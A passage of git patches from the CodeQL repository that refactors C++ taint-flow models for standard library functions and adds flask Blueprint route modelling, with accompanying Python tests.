hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from the last parameter (which may be the value part used to @@ -85,10 +81,7 @@ private class StdMapEmplace extends TaintFunction { * The standard map `try_emplace` function. */ private class StdMapTryEmplace extends TaintFunction { - StdMapTryEmplace() { - this.hasName("try_emplace") and - this.getDeclaringType() instanceof MapOrUnorderedMap - } + StdMapTryEmplace() { this.getClassAndName("try_emplace") instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from any parameter apart from the key to qualifier and return value @@ -115,10 +108,7 @@ private class StdMapTryEmplace extends TaintFunction { * The standard map `merge` function. */ private class StdMapMerge extends TaintFunction { - StdMapMerge() { - this.hasName("merge") and - this.getDeclaringType() instanceof MapOrUnorderedMap - } + StdMapMerge() { this.getClassAndName("merge") instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // container1.merge(container2) @@ -131,10 +121,7 @@ private class StdMapMerge extends TaintFunction { * The standard map functions `at` and `operator[]`. */ private class StdMapAt extends TaintFunction { - StdMapAt() { - this.hasName(["at", "operator[]"]) and - this.getDeclaringType() instanceof MapOrUnorderedMap - } + StdMapAt() { this.getClassAndName(["at", "operator[]"]) instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to referenced return value @@ -151,10 +138,7 @@ private class StdMapAt extends TaintFunction { * The standard map `find` function. */ private class StdMapFind extends TaintFunction { - StdMapFind() { - this.hasName("find") and - this.getDeclaringType() instanceof MapOrUnorderedMap - } + StdMapFind() { this.getClassAndName("find") instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { input.isQualifierObject() and @@ -166,10 +150,7 @@ private class StdMapFind extends TaintFunction { * The standard map `erase` function. */ private class StdMapErase extends TaintFunction { - StdMapErase() { - this.hasName("erase") and - this.getDeclaringType() instanceof MapOrUnorderedMap - } + StdMapErase() { this.getCLassAndName("erase") instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to iterator return value From 30659f3ecf7ae2ecf9c470b51c6ea464d9b1f729 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Tue, 16 Feb 2021 11:54:21 +0000 Subject: [PATCH 1234/1241] C++: Address review. --- cpp/ql/src/semmle/code/cpp/Declaration.qll | 4 ++-- cpp/ql/src/semmle/code/cpp/commons/Scanf.qll | 12 ++++++------ .../code/cpp/models/implementations/Printf.qll | 8 ++++---- .../code/cpp/models/implementations/Strcat.qll | 2 +- .../code/cpp/models/implementations/Strcpy.qll | 2 +- .../code/cpp/models/implementations/Strtok.qll | 2 +- 6 files changed, 15 insertions(+), 15 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/Declaration.qll b/cpp/ql/src/semmle/code/cpp/Declaration.qll index 1f488bfeb5f..7ac79fd99c1 100644 --- a/cpp/ql/src/semmle/code/cpp/Declaration.qll +++ b/cpp/ql/src/semmle/code/cpp/Declaration.qll @@ -142,9 +142,9 @@ class Declaration extends Locatable, @declaration { /** * Holds if this declaration has the given name in the global namespace, * the `std` namespace or the `bsl` namespace. - * We treat `std` and `bsl` as the same in a bunch of our models. + * We treat `std` and `bsl` as the same in some of our models. */ - predicate hasGlobalOrStdishName(string name) { + predicate hasGlobalOrStdOrBslName(string name) { this.hasGlobalName(name) or this.hasQualifiedName("std", "", name) diff --git a/cpp/ql/src/semmle/code/cpp/commons/Scanf.qll b/cpp/ql/src/semmle/code/cpp/commons/Scanf.qll index aec047cea6b..461030f389d 100644 --- a/cpp/ql/src/semmle/code/cpp/commons/Scanf.qll +++ b/cpp/ql/src/semmle/code/cpp/commons/Scanf.qll @@ -34,8 +34,8 @@ class Scanf extends ScanfFunction { Scanf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdishName("scanf") or // scanf(format, args...) - hasGlobalOrStdishName("wscanf") or // wscanf(format, args...) + hasGlobalOrStdOrBslName("scanf") or // scanf(format, args...) + hasGlobalOrStdOrBslName("wscanf") or // wscanf(format, args...) hasGlobalName("_scanf_l") or // _scanf_l(format, locale, args...) hasGlobalName("_wscanf_l") // _wscanf_l(format, locale, args...) ) @@ -53,8 +53,8 @@ class Fscanf extends ScanfFunction { Fscanf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdishName("fscanf") or // fscanf(src_stream, format, args...) - hasGlobalOrStdishName("fwscanf") or // fwscanf(src_stream, format, args...) + hasGlobalOrStdOrBslName("fscanf") or // fscanf(src_stream, format, args...) + hasGlobalOrStdOrBslName("fwscanf") or // fwscanf(src_stream, format, args...) hasGlobalName("_fscanf_l") or // _fscanf_l(src_stream, format, locale, args...) hasGlobalName("_fwscanf_l") // _fwscanf_l(src_stream, format, locale, args...) ) @@ -72,8 +72,8 @@ class Sscanf extends ScanfFunction { Sscanf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdishName("sscanf") or // sscanf(src_stream, format, args...) - hasGlobalOrStdishName("swscanf") or // swscanf(src, format, args...) + hasGlobalOrStdOrBslName("sscanf") or // sscanf(src_stream, format, args...) + hasGlobalOrStdOrBslName("swscanf") or // swscanf(src, format, args...) hasGlobalName("_sscanf_l") or // _sscanf_l(src, format, locale, args...) hasGlobalName("_swscanf_l") // _swscanf_l(src, format, locale, args...) ) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll index f70493e9f83..ed201a14587 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll @@ -15,7 +15,7 @@ private class Printf extends FormattingFunction, AliasFunction { Printf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdishName(["printf", "wprintf"]) or + hasGlobalOrStdOrBslName(["printf", "wprintf"]) or hasGlobalName(["printf_s", "wprintf_s", "g_printf"]) ) and not exists(getDefinition().getFile().getRelativePath()) @@ -41,7 +41,7 @@ private class Fprintf extends FormattingFunction { Fprintf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdishName(["fprintf", "fwprintf"]) or + hasGlobalOrStdOrBslName(["fprintf", "fwprintf"]) or hasGlobalName("g_fprintf") ) and not exists(getDefinition().getFile().getRelativePath()) @@ -61,7 +61,7 @@ private class Sprintf extends FormattingFunction { Sprintf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdishName([ + hasGlobalOrStdOrBslName([ "sprintf", // sprintf(dst, format, args...) "wsprintf" // wsprintf(dst, format, args...) ]) @@ -111,7 +111,7 @@ private class SnprintfImpl extends Snprintf { SnprintfImpl() { this instanceof TopLevelFunction and ( - hasGlobalOrStdishName([ + hasGlobalOrStdOrBslName([ "snprintf", // C99 defines snprintf "swprintf" // The s version of wide-char printf is also always the n version ]) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll index 6dbed650cfa..ee9af547582 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll @@ -13,7 +13,7 @@ import semmle.code.cpp.models.interfaces.SideEffect */ class StrcatFunction extends TaintFunction, DataFlowFunction, ArrayFunction, SideEffectFunction { StrcatFunction() { - this.hasGlobalOrStdishName([ + this.hasGlobalOrStdOrBslName([ "strcat", // strcat(dst, src) "strncat", // strncat(dst, src, max_amount) "wcscat", // wcscat(dst, src) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll index 72f993b7a4a..432fbf999ef 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll @@ -13,7 +13,7 @@ import semmle.code.cpp.models.interfaces.SideEffect */ class StrcpyFunction extends ArrayFunction, DataFlowFunction, TaintFunction, SideEffectFunction { StrcpyFunction() { - this.hasGlobalOrStdishName([ + this.hasGlobalOrStdOrBslName([ "strcpy", // strcpy(dst, src) "wcscpy", // wcscpy(dst, src) "strncpy", // strncpy(dst, src, max_amount) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll index 3b7e97a53d0..f2cb6498819 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll @@ -15,7 +15,7 @@ import semmle.code.cpp.models.interfaces.Taint */ private class Strtok extends ArrayFunction, AliasFunction, TaintFunction, SideEffectFunction { Strtok() { - this.hasGlobalOrStdishName("strtok") or + this.hasGlobalOrStdOrBslName("strtok") or this.hasGlobalName(["strtok_r", "_strtok_l", "wcstok", "_wcstok_l", "_mbstok", "_mbstok_l"]) } From 3f17171f13d33fc7d0ddbfefd4f0ef12014e57be Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Tue, 16 Feb 2021 11:55:03 +0000 Subject: [PATCH 1235/1241] C++: Address review. --- cpp/ql/src/semmle/code/cpp/Declaration.qll | 4 ++-- cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/Declaration.qll b/cpp/ql/src/semmle/code/cpp/Declaration.qll index 1f488bfeb5f..7ac79fd99c1 100644 --- a/cpp/ql/src/semmle/code/cpp/Declaration.qll +++ b/cpp/ql/src/semmle/code/cpp/Declaration.qll @@ -142,9 +142,9 @@ class Declaration extends Locatable, @declaration { /** * Holds if this declaration has the given name in the global namespace, * the `std` namespace or the `bsl` namespace. - * We treat `std` and `bsl` as the same in a bunch of our models. + * We treat `std` and `bsl` as the same in some of our models. */ - predicate hasGlobalOrStdishName(string name) { + predicate hasGlobalOrStdOrBslName(string name) { this.hasGlobalName(name) or this.hasQualifiedName("std", "", name) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll index 5e3f446713f..d646be0363d 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll @@ -15,7 +15,7 @@ import semmle.code.cpp.models.interfaces.SideEffect private class MemsetFunction extends ArrayFunction, DataFlowFunction, AliasFunction, SideEffectFunction { MemsetFunction() { - this.hasGlobalOrStdishName("memset") + this.hasGlobalOrStdOrBslName("memset") or this.hasGlobalOrStdName("wmemset") or From b7ea469e2652acac8074fe162260da14ade32ac9 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 3 Feb 2021 11:10:07 +0100 Subject: [PATCH 1236/1241] Python: Add tests for flask blueprints --- .../frameworks/flask/external_blueprint.py | 7 +++++ .../frameworks/flask/routing_test.py | 27 +++++++++++++++++++ 2 files changed, 34 insertions(+) create mode 100644 python/ql/test/experimental/library-tests/frameworks/flask/external_blueprint.py diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/external_blueprint.py b/python/ql/test/experimental/library-tests/frameworks/flask/external_blueprint.py new file mode 100644 index 00000000000..4c43b627eb2 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/flask/external_blueprint.py @@ -0,0 +1,7 @@ +import flask + +bp3 = flask.Blueprint("bp3", __name__) + +@bp3.route("/bp3/example") # $ MISSING: routeSetup="/bp3/example" +def bp3_example(): # $ MISSING: requestHandler + return "bp 3 example" diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py index 813e3751152..3475e27455f 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py @@ -93,5 +93,32 @@ class WithoutKnownRoute2(MethodView): pass +# Blueprints +# +# see https://flask.palletsprojects.com/en/1.1.x/blueprints/ + +bp1 = flask.Blueprint("bp1", __name__) + +@bp1.route("/bp1/example/") # $ MISSING: routeSetup="/bp1/example/" +def bp1_example(foo): # $ MISSING: requestHandler routedParameter=foo + return "bp 1 example foo={}".format(foo) + +app.register_blueprint(bp1) # by default, URL of blueprints are not changed + + +bp2 = flask.Blueprint("bp2", __name__) + +@bp2.route("/example") # $ MISSING: routeSetup="/example" +def bp2_example(): # $ MISSING: requestHandler + return "bp 2 example" + +app.register_blueprint(bp2, url_prefix="/bp2") # but it is possible to add a url_prefix + + +from external_blueprint import bp3 +app.register_blueprint(bp3) + + if __name__ == "__main__": + print(app.url_map) app.run(debug=True) From 1e1cb874360707bc5fea0e9bfb3028e812600248 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 3 Feb 2021 11:32:40 +0100 Subject: [PATCH 1237/1241] Python: Model flask blueprints --- ...2021-02-03-flask-add-blueprint-modeling.md | 2 + .../ql/src/semmle/python/frameworks/Flask.qll | 40 +++++++++++++++++-- .../frameworks/flask/external_blueprint.py | 6 +-- .../frameworks/flask/routing_test.py | 12 +++--- 4 files changed, 47 insertions(+), 13 deletions(-) create mode 100644 python/change-notes/2021-02-03-flask-add-blueprint-modeling.md diff --git a/python/change-notes/2021-02-03-flask-add-blueprint-modeling.md b/python/change-notes/2021-02-03-flask-add-blueprint-modeling.md new file mode 100644 index 00000000000..62776a7adb4 --- /dev/null +++ b/python/change-notes/2021-02-03-flask-add-blueprint-modeling.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Added modeling of flask blueprints (`flask.Blueprint`), specifically request handlers defined with such blueprints. This can result in new sources of remote user input (`RemoteFlowSource`) -- since we're now able to detect routed parameters -- and new XSS sinks from the responses of these request handlers. diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index fe394c6c8ac..30afff25922 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -72,6 +72,30 @@ private module FlaskModel { API::Node response_class() { result = [classRef(), instance()].getMember("response_class") } } + /** + * Provides models for the `flask.Blueprint` class + * + * See https://flask.palletsprojects.com/en/1.1.x/api/#flask.Blueprint. + */ + module Blueprint { + /** Gets a reference to the `flask.Blueprint` class. */ + API::Node classRef() { result = flask().getMember("Blueprint") } + + /** Gets a reference to an instance of `flask.Blueprint`. */ + API::Node instance() { result = classRef().getReturn() } + + /** + * Gets a reference to the attribute `attr_name` of an instance of `flask.Blueprint`. + */ + private API::Node instance_attr(string attr_name) { result = instance().getMember(attr_name) } + + /** Gets a reference to the `route` method on an instance of `flask.Blueprint`. */ + API::Node route() { result = instance_attr("route") } + + /** Gets a reference to the `add_url_rule` method on an instance of `flask.Blueprint`. */ + API::Node add_url_rule() { result = instance_attr("add_url_rule") } + } + // ------------------------------------------------------------------------- // flask.views // ------------------------------------------------------------------------- @@ -222,12 +246,16 @@ private module FlaskModel { } /** - * A call to the `route` method on an instance of `flask.Flask`. + * A call to the `route` method on an instance of `flask.Flask` or an instance of `flask.Blueprint`. * * See https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.route */ private class FlaskAppRouteCall extends FlaskRouteSetup, DataFlow::CallCfgNode { - FlaskAppRouteCall() { this.getFunction() = flask::Flask::route().getAUse() } + FlaskAppRouteCall() { + this.getFunction() = flask::Flask::route().getAUse() + or + this.getFunction() = flask::Blueprint::route().getAUse() + } override DataFlow::Node getUrlPatternArg() { result in [this.getArg(0), this.getArgByName("rule")] @@ -237,12 +265,16 @@ private module FlaskModel { } /** - * A call to the `add_url_rule` method on an instance of `flask.Flask`. + * A call to the `add_url_rule` method on an instance of `flask.Flask` or an instance of `flask.Blueprint`. * * See https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.add_url_rule */ private class FlaskAppAddUrlRuleCall extends FlaskRouteSetup, DataFlow::CallCfgNode { - FlaskAppAddUrlRuleCall() { this.getFunction() = flask::Flask::add_url_rule().getAUse() } + FlaskAppAddUrlRuleCall() { + this.getFunction() = flask::Flask::add_url_rule().getAUse() + or + this.getFunction() = flask::Blueprint::add_url_rule().getAUse() + } override DataFlow::Node getUrlPatternArg() { result in [this.getArg(0), this.getArgByName("rule")] diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/external_blueprint.py b/python/ql/test/experimental/library-tests/frameworks/flask/external_blueprint.py index 4c43b627eb2..d426cb37867 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/external_blueprint.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/external_blueprint.py @@ -2,6 +2,6 @@ import flask bp3 = flask.Blueprint("bp3", __name__) -@bp3.route("/bp3/example") # $ MISSING: routeSetup="/bp3/example" -def bp3_example(): # $ MISSING: requestHandler - return "bp 3 example" +@bp3.route("/bp3/example") # $ routeSetup="/bp3/example" +def bp3_example(): # $ requestHandler + return "bp 3 example" # $ HttpResponse diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py index 3475e27455f..1bbff4fed37 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py @@ -99,18 +99,18 @@ class WithoutKnownRoute2(MethodView): bp1 = flask.Blueprint("bp1", __name__) -@bp1.route("/bp1/example/") # $ MISSING: routeSetup="/bp1/example/" -def bp1_example(foo): # $ MISSING: requestHandler routedParameter=foo - return "bp 1 example foo={}".format(foo) +@bp1.route("/bp1/example/") # $ routeSetup="/bp1/example/" +def bp1_example(foo): # $ requestHandler routedParameter=foo + return "bp 1 example foo={}".format(foo) # $ HttpResponse app.register_blueprint(bp1) # by default, URL of blueprints are not changed bp2 = flask.Blueprint("bp2", __name__) -@bp2.route("/example") # $ MISSING: routeSetup="/example" -def bp2_example(): # $ MISSING: requestHandler - return "bp 2 example" +@bp2.route("/example") # $ routeSetup="/example" +def bp2_example(): # $ requestHandler + return "bp 2 example" # $ HttpResponse app.register_blueprint(bp2, url_prefix="/bp2") # but it is possible to add a url_prefix From bc8e61366b7f3dc4f16d2eafefdec8a04e3bcbe5 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 16 Feb 2021 15:29:25 +0100 Subject: [PATCH 1238/1241] Python: Clarify comment about flask blueprint URL prefixes --- .../library-tests/frameworks/flask/routing_test.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py index 1bbff4fed37..11e44f52e71 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py @@ -103,7 +103,7 @@ bp1 = flask.Blueprint("bp1", __name__) def bp1_example(foo): # $ requestHandler routedParameter=foo return "bp 1 example foo={}".format(foo) # $ HttpResponse -app.register_blueprint(bp1) # by default, URL of blueprints are not changed +app.register_blueprint(bp1) # by default, URLs of blueprints are not prefixed bp2 = flask.Blueprint("bp2", __name__) @@ -112,7 +112,7 @@ bp2 = flask.Blueprint("bp2", __name__) def bp2_example(): # $ requestHandler return "bp 2 example" # $ HttpResponse -app.register_blueprint(bp2, url_prefix="/bp2") # but it is possible to add a url_prefix +app.register_blueprint(bp2, url_prefix="/bp2") # but it is possible to add a URL prefix from external_blueprint import bp3 From 552f0a7c5e435ec17c6db04214b913c160a32a6e Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Tue, 16 Feb 2021 15:55:41 +0000 Subject: [PATCH 1239/1241] C++: Address review. --- cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll index ae3fab9f077..aecd98981e8 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll @@ -150,7 +150,7 @@ private class StdMapFind extends TaintFunction { * The standard map `erase` function. */ private class StdMapErase extends TaintFunction { - StdMapErase() { this.getCLassAndName("erase") instanceof MapOrUnorderedMap } + StdMapErase() { this.getClassAndName("erase") instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to iterator return value @@ -165,8 +165,7 @@ private class StdMapErase extends TaintFunction { */ private class StdMapEqualRange extends TaintFunction { StdMapEqualRange() { - this.hasName(["lower_bound", "upper_bound", "equal_range"]) and - this.getDeclaringType() instanceof MapOrUnorderedMap + this.getClassAndName(["lower_bound", "upper_bound", "equal_range"]) instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { From a04883cafcdb29c8b910cde2adbb053a6ec0a37d Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Tue, 16 Feb 2021 16:17:59 +0000 Subject: [PATCH 1240/1241] C++: Fix compilation. --- .../src/semmle/code/cpp/models/implementations/StdContainer.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll index f416d8e9810..9176c6c3a1a 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll @@ -113,7 +113,7 @@ private class StdSequenceContainerPush extends TaintFunction { this.getClassAndName("push_back") instanceof Array or this.getClassAndName(["push_back", "push_front"]) instanceof Deque or this.getClassAndName("push_front") instanceof ForwardList or - this.getClassAndName("push_back") instanceof List or + this.getClassAndName("push_back") instanceof List } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { From 3fb42194a5e4a134b34e2ed6dedd48dce5acabce Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Tue, 16 Feb 2021 17:58:45 +0100 Subject: [PATCH 1241/1241] Apply suggestions from code review Co-authored-by: Geoffrey White <40627776+geoffw0@users.noreply.github.com> --- .../semmle/code/cpp/models/implementations/StdContainer.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll index 9176c6c3a1a..367db1613fc 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll @@ -110,10 +110,10 @@ private class StdSequenceContainerData extends TaintFunction { */ private class StdSequenceContainerPush extends TaintFunction { StdSequenceContainerPush() { - this.getClassAndName("push_back") instanceof Array or + this.getClassAndName("push_back") instanceof Vector or this.getClassAndName(["push_back", "push_front"]) instanceof Deque or this.getClassAndName("push_front") instanceof ForwardList or - this.getClassAndName("push_back") instanceof List + this.getClassAndName(["push_back", "push_front"]) instanceof List } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {